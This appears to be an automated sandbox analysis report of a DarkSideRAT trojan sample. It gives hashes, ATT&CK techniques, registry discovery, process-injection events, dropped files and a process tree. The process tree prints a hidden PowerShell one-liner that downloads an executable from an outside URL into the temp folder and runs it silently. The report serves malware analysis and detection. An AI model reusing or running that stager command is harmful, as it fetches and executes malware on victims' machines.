darksiderat | 24d0dfd76eda7ff8c45723d81307d038d91e09cf8bd24cdd3d005134d63aaf03

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 2.2MB
Sample261027-ryt32asv3k
SHA256 24d0dfd76eda7ff8c45723d81307d038d91e09cf8bd24cdd3d005134d63aaf03
MD5 7270255b53176a3d932171047788bee3
SHA1 e812d5a5e0a95ef65a621a104164f7367839e087
SHA512 cf7d2a669225df12e2c42d498c39607b9fdcea1c67de8aa498ed2b63b94520dcab4bf61da996f53431d2ce955fc4a1982f40612db11d1dd203d6ee9195af2228
SSDEEP 24576:FztqTNfHzpj1xSwqbp+xnNLm+zauk01OtHiONx8IZvZ0fBj4DreEi/nUHKP9mgQ:FRqRR7dxNLm+Jk0kxLZvZ0f63w/nD4
TLSH
T1C4B58D16A3E500FCE1BBD178CA525947DA727849177096DF13E00AAA1F33AE05E7EB13
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 3 IoCs

resource	yara_rule
behavioral2/memory/1460-1-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/1460-2-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/files/0x000e00000001c569-200.dat	family_darksiderat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4848	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe

Executes dropped EXE 1 IoCs

pid	Process
3224	ox_1793111796486.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4864 set thread context of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89

Drops file in Windows directory 24 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\english_wikipedia.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_127040374\_metadata\verified_contents.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\passwords.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\us_tv_and_film.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\crs.pb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\test.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_127040374\keys.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_127040374\LICENSE	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_127040374\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\model.markov	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\ranked_dicts	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\surnames.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_127040374\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\female_names.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\male_names.txt	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1398490130\crl-set	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1398490130\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1398490130\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\ct_config.pb	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\kp_pinslist.pb	msedgewebview2.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2568	cmd.exe
4248	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ox_1793111796486.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ox_1793111796486.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
5340	msedgewebview2.exe
5340	msedgewebview2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4956	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 1460	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 4864 wrote to memory of 2568	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	90
PID 2568 wrote to memory of 4248	2568	cmd.exe	92
PID 4248 wrote to memory of 4848	4248	cmd.exe	94
PID 4864 wrote to memory of 4956	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	95
PID 4956 wrote to memory of 4140	4956	msedgewebview2.exe	96
PID 4956 wrote to memory of 5936	4956	msedgewebview2.exe	97
PID 4956 wrote to memory of 5936	4956	msedgewebview2.exe	97
PID 4956 wrote to memory of 5936	4956	msedgewebview2.exe	97
PID 4956 wrote to memory of 5936	4956	msedgewebview2.exe	97
PID 4956 wrote to memory of 4868	4956	msedgewebview2.exe	98
PID 4956 wrote to memory of 5932	4956	msedgewebview2.exe	99
PID 4956 wrote to memory of 5932	4956	msedgewebview2.exe	99
PID 4956 wrote to memory of 5932	4956	msedgewebview2.exe	99
PID 4956 wrote to memory of 5072	4956	msedgewebview2.exe	100
PID 4956 wrote to memory of 5072	4956	msedgewebview2.exe	100
PID 4956 wrote to memory of 5072	4956	msedgewebview2.exe	100
PID 4956 wrote to memory of 5072	4956	msedgewebview2.exe	100
PID 4956 wrote to memory of 5072	4956	msedgewebview2.exe	100
PID 4864 wrote to memory of 4356	4864	2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe	101
PID 4356 wrote to memory of 3224	4356	cmd.exe	103
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 3224 wrote to memory of 1820	3224	ox_1793111796486.exe	104
PID 4956 wrote to memory of 1604	4956	msedgewebview2.exe	111
PID 4956 wrote to memory of 1604	4956	msedgewebview2.exe	111
PID 4956 wrote to memory of 1604	4956	msedgewebview2.exe	111
PID 4956 wrote to memory of 3332	4956	msedgewebview2.exe	112
PID 4956 wrote to memory of 3332	4956	msedgewebview2.exe	112
PID 4956 wrote to memory of 3332	4956	msedgewebview2.exe	112
PID 4956 wrote to memory of 1308	4956	msedgewebview2.exe	113
PID 4956 wrote to memory of 1308	4956	msedgewebview2.exe	113
PID 4956 wrote to memory of 1308	4956	msedgewebview2.exe	113
PID 4956 wrote to memory of 5340	4956	msedgewebview2.exe	114
PID 4956 wrote to memory of 3348	4956	msedgewebview2.exe	115
PID 4956 wrote to memory of 3348	4956	msedgewebview2.exe	115
PID 4956 wrote to memory of 3348	4956	msedgewebview2.exe	115

C:\Users\Admin\AppData\Local\Temp\2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Downloads MZ/PE file
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Users\Admin\AppData\Local\Temp\2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe"
  2⤵
  PID:1460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK361219.exe; Start-Process -FilePath $env:TEMP\BK361219.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK361219.exe; Start-Process -FilePath $env:TEMP\BK361219.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK361219.exe; Start-Process -FilePath $env:TEMP\BK361219.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4848
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=4864.2328.11513516638138895567 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView /prefetch:4 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffdab725fd8,0x7ffdab725fe4,0x7ffdab725ff0
    3⤵
    PID:4140
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1736 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:5936
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2120 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:4868
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2224 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:5932
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3372 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe /prefetch:1
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=4356 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:1604
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=4472 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=4436 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:1308
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4472 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5340
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView" --webview-exe-name=2026-10-26_7270255b53176a3d932171047788bee3_glassworm_icedid_luca-stealer_njrat_stealc.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=4272 --field-trial-handle=1740,i,168900154493395439,17704702620486668386,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:2b3ba94332e661ebb5f32287f84030dc49150bfe
    3⤵
    PID:3348
- C:\Windows\system32\cmd.exe
  /c start C:\Users\Admin\AppData\Local\Temp\ox_1793111796486.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Users\Admin\AppData\Local\Temp\ox_1793111796486.exe
    C:\Users\Admin\AppData\Local\Temp\ox_1793111796486.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of WriteProcessMemory
    PID:3224
  - - C:\Windows\System32\LegacyNetUXHost.exe
      "C:\Windows\System32\LegacyNetUXHost.exe"
      4⤵
      PID:1820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 401990618efaf74223c0a7e4e9237eb02bcc9b6e6e7818077c4553402893f489
MD5 55b6b4d00fe1f585d2d65226b560c538
SHA1 9ed78095f84e04ec9beade83c0865d40fccf7fac
SHA512 1485ccd7d8be49022c2234e4b76b6eb4e1d577bd7933aa1a2c574adabf46d3ba80d6875bfe16dd10259801abe2a4a19eb3c4ef5c42cdd08753ec0958177dde01
TLSH
T196C08C2C1EA20A1AF2A8437C42C239039B208501E3418F062AF12A08C99AF162878C6A
MD5 SHA1 SHA512 TLSH

Submit Download

0242c145-1f50-44eb-b486-b12e8e4344ac.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\0242c145-1f50-44eb-b486-b12e8e4344ac.tmp
Size 2KB
SHA256 3a5ad5acf7e94bbf35eb1ec1c38297a8cb309a50e70b35f9995655cdbcfa5dc5
MD5 291d192bd7c6036439dbc453a8ffc4e4
SHA1 fcd8c5b1e0da4ae19f2d2ce7abea3467d5b12e53
SHA512 917db6b2bc894ca2bc5860b24a57ea44fce4bd01690e1d2f5753187983f4f4967fcf2564fef62d6139a35939ca5e1edd2098be6d35bf6344d696aba4b97c2c05
TLSH
T107518473AC14AA378AE69E44B94B3F23DE359072D6526F9096DD0F1C01DB19C2382C36
MD5 SHA1 SHA512 TLSH

Submit Download

16af2d79-d0e2-40c2-bcef-7f854f7d1544.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\16af2d79-d0e2-40c2-bcef-7f854f7d1544.tmp
Size 15KB
SHA256 ca81ea2ff321fcc91886e806d043debf1367f74179ba38aedc0b7453196f06d8
MD5 1736d275687920fb11b1d486650bc8e5
SHA1 4e0e40bfc639b0a5d0dadc0c02291115ef19e8b7
SHA512 a704471cef50e08c34ef88dcffe57d5ff3b447eae524f33eb2d6efdd2e5f7265042dd01660927f7e29fc267f06171709292ccd079300c573878e23c4a5938da2
SSDEEP 384:J+OBqImmJvGBLx3NaFMJFNNBSTBgEQ7Awrg6rB:kcvGtlNHE8Awxt
TLSH
T16D72AD772C656E372CEBCA09BACA27478B606263C0D1B7D4DDEC9F0F516B4841352815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

487ec59e-438e-4b41-9464-c25e83027b4d.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\487ec59e-438e-4b41-9464-c25e83027b4d.tmp
Size 3KB
SHA256 2ba906dfea801273146b60652bed952bf716e268bacbc7e12d863f16c8f04297
MD5 f4fe2e3fbe34913d8f521e315bdb0898
SHA1 228b14ac0505d1c61875dcc4d34863799787aa55
SHA512 22cf3cb8227f9a0a12f8e9cab730a99ebd11c05ab763c783b5a1d14f92e009409eedf09f20a932ce925df144a97642579a1d27b26d9cb79a18888cc8e199782f
TLSH
T10D617777A974A9374EE6DE04B8863B16BBA55033E5817F95D6EC0E0C01D72D82392C27
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 c47b0bed37ce97636e2f67e4ab6d80fe348b37920d85e25475788e9367d057c7
MD5 c130e6ab707446cce3eee2ab434a6c8c
SHA1 2433fee49a0594a95ddd954d7d5dd6764069b2d0
SHA512 0cffae5356ccad7356b04a20d792a3bec6548f169ed3c2e7b9d726acd1dabdf9a651adc1ab904e10ad0ea020b24c2660016c1c2f246455854b7fe76b0280af80
TLSH
T15BD0121272024234C03061371013690D0940C21F440540409828C95E1A440541F17492
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

